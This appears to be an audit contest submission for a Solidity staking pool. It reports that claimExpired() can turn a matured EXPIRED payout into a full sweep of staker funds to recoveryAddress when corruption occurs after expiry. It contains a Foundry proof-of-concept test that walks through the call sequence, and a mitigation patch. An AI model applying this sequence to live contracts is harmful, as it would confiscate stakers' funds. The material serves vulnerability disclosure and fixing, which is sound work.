FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Post-expiry corruption can replace expired payouts with a recovery sweep

Author Revealed upon completion

Description

When a pool reaches its configured expiry without corruption, stakers are entitled to an EXPIRED settlement that returns principal and bonus. claimExpired() samples the live registry state at call time rather than the state that existed when the pool term ended. If the pool remains unresolved past expiry and the registry transitions to CORRUPTED only after the coverage period, the function can finalize bad-faith CORRUPTED and redirect all staker funds to recoveryAddress. The issue occurs when riskWindowStart is nonzero (which can be established by a post-expiry pokeRiskWindow() call that caps the timestamp to expiry) and the registry becomes CORRUPTED after the pool term. During the 180-day grace period, claimExpired() reverts and blocks staker settlement. After the grace period, any caller can finalize CORRUPTED and sweep the entire pool balance through claimCorrupted().

function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
@> IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
@> revert AgreementCorruptedAwaitingModerator();
@> }
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
// ... SURVIVED and EXPIRED branches
}
// ... claim payout logic
}

Risk

Likelihood:

  • The pool must remain unresolved after expiry, which can occur if no keeper or staker calls settlement at the deadline.

  • The registry must transition to CORRUPTED only after the pool term ends; an adversary cannot unilaterally create a legitimate BattleChain CORRUPTED state.

  • riskWindowStart must be nonzero, which can result from a pre-expiry active-risk observation or from a permissionless post-expiry pokeRiskWindow() call that caps the timestamp to expiry.

  • The moderator must not resolve the pool during the 180-day grace period.

Impact:

  • Stakers lose all principal and bonus that was claimable at expiry, redirected to the sponsor-controlled recoveryAddress.

  • A registry transition occurring outside the pool's insured term can overwrite a matured EXPIRED settlement with full confiscation.

  • During the grace period, the live CORRUPTED state blocks permissionless staker settlement, leaving stakers dependent on moderator intervention.

  • Any account can trigger the irreversible finalization and sweep after the grace period.

Proof of Concept

test/poc/PostExpiryCorruptionPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/// @notice PoC for: post-expiry corruption can retroactively confiscate matured staker funds.
/// @dev Uses the project's mock registry harness. The staged registry sequences follow legal
/// BattleChain directions: ATTACK_REQUESTED -> UNDER_ATTACK -> CORRUPTED, and UNDER_ATTACK may
/// persist beyond an independent pool expiry. No source code is modified.
contract PostExpiryCorruptionPoC is BaseConfidencePoolTest {
function testPoC_PostExpiryCorruptionReplacesExpiredPayoutWithRecoverySweep() public {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 40 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 poolFundsAtMaturity = token.balanceOf(address(pool));
// Active-risk was observed during the insured term, but no breach has been recorded by
// the pool deadline. DESIGN.md says expiry during UNDER_ATTACK means the agreement
// survived the underwritten term and claimExpired should resolve EXPIRED.
vm.warp(uint256(pool.expiry()) - 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertLt(block.timestamp, uint256(pool.expiry()), "risk was observed before expiry");
assertGt(pool.riskWindowStart(), 0, "risk gate is satisfied before maturity");
vm.warp(uint256(pool.expiry()));
// Control branch: if anyone settles at expiry while the registry is still merely
// attackable, the sole staker receives the whole matured pool balance.
uint256 snapshotId = vm.snapshotState();
uint256 aliceBeforeTimelyClaim = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
uint256 timelyPayout = token.balanceOf(alice) - aliceBeforeTimelyClaim;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "timely outcome");
assertEq(timelyPayout, poolFundsAtMaturity, "matured principal + bonus owed at expiry");
assertTrue(vm.revertToState(snapshotId), "restore unresolved pool at expiry");
// Exploit branch: nobody calls at expiry. A legitimate CORRUPTED state is recorded only
// after the pool term. Once CORRUPTED is live, even the staker cannot lock EXPIRED during
// the grace period; the call atomically reverts.
vm.warp(uint256(pool.expiry()) + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
// After the 180-day moderator grace, any address finalizes bad-faith CORRUPTED and then
// sweeps the entire still-held pool balance to recoveryAddress. The staker receives zero.
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 daveBefore = token.balanceOf(dave);
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "late outcome");
assertEq(token.balanceOf(dave), daveBefore, "permissionless resolver is not paid");
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
pool.claimCorrupted();
uint256 recoveryGain = token.balanceOf(recovery) - recoveryBefore;
assertEq(recoveryGain, poolFundsAtMaturity, "all matured staker funds swept to recovery");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
assertEq(token.balanceOf(alice), 0, "staker lost the matured claim");
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
}
function testPoC_PostExpiryPokeCanCreateTheObservedRiskGateForPostTermAttack() public {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 40 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 poolFundsAtMaturity = token.balanceOf(address(pool));
// At the pool deadline the agreement is not terminal and has not yet entered active-risk.
// A timely expiry claim would therefore return staker principal (bonus is unearned because
// riskWindowStart is still zero).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.warp(uint256(pool.expiry()));
uint256 snapshotId = vm.snapshotState();
uint256 aliceBeforeTimelyClaim = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
uint256 timelyPayout = token.balanceOf(alice) - aliceBeforeTimelyClaim;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "timely outcome");
assertEq(pool.riskWindowStart(), 0, "no active-risk was observed by maturity");
assertEq(timelyPayout, stakeAmount, "matured principal owed at expiry");
assertTrue(vm.revertToState(snapshotId), "restore unresolved pool at expiry");
// Nobody settles. The agreement becomes attackable only after the pool has expired.
// Because pokeRiskWindow has no expiry check, any caller can seal riskWindowStart after
// the term; _markRiskWindowStart caps it to exactly expiry, making this post-term risk
// indistinguishable from an in-term observation for the auto-CORRUPTED gate.
vm.warp(uint256(pool.expiry()) + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(dave);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.expiry(), "post-expiry poke is capped to expiry");
// The attack then corrupts the agreement after the pool term. During grace, expired
// staker settlement is blocked; after grace, the bad-faith CORRUPTED backstop confiscates
// the whole balance.
vm.warp(uint256(pool.expiry()) + 2 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "post-term corrupted outcome");
assertEq(pool.riskWindowEnd(), pool.expiry(), "post-term terminal observation also caps to expiry");
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
pool.claimCorrupted();
uint256 recoveryGain = token.balanceOf(recovery) - recoveryBefore;
assertEq(recoveryGain, poolFundsAtMaturity, "principal and bonus swept to recovery");
assertEq(token.balanceOf(alice), 0, "staker receives none of the matured principal");
assertLt(token.balanceOf(alice), timelyPayout, "staker is worse off than timely EXPIRED settlement");
}
}

Command:

forge test --match-path 'test/poc/PostExpiryCorruptionPoC.t.sol' -vvv

Impact:

The PoC passes and demonstrates that matured staker funds can be lost if an unresolved pool is corrupted after expiry. In the delayed path, claimExpired finalizes CORRUPTED after the moderator grace period, and claimCorrupted sweeps all pool principal and bonus to recoveryAddress. The tests also show that timely claimExpired at expiry would have paid the staker instead.

Recommended Mitigation

Separate term-bounded evidence from capped payout timestamps. Record uncapped observation times for active-risk and CORRUPTED states, and allow mechanical CORRUPTED finalization only when corruption is known to have occurred no later than expiry. Do not let a post-expiry pokeRiskWindow() create auto-corruption eligibility. If no authoritative pre-expiry corruption evidence is available, finalize EXPIRED or leave only moderator resolution during the grace window.

+ uint256 internal corruptionObservedAt;
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
// ... scope lock and risk-window logic
+ if (corruptionObservedAt == 0 && state == IAttackRegistry.ContractState.CORRUPTED) {
+ corruptionObservedAt = block.timestamp;
+ }
}
function claimExpired() external nonReentrant {
// ... expiry and outcome checks
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
// ... snapshot logic
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (state == IAttackRegistry.ContractState.CORRUPTED && corruptionObservedAt != 0 && corruptionObservedAt <= expiry) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
// ... finalize CORRUPTED
}
// ... SURVIVED and EXPIRED branches
}
// ... claim payout logic
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!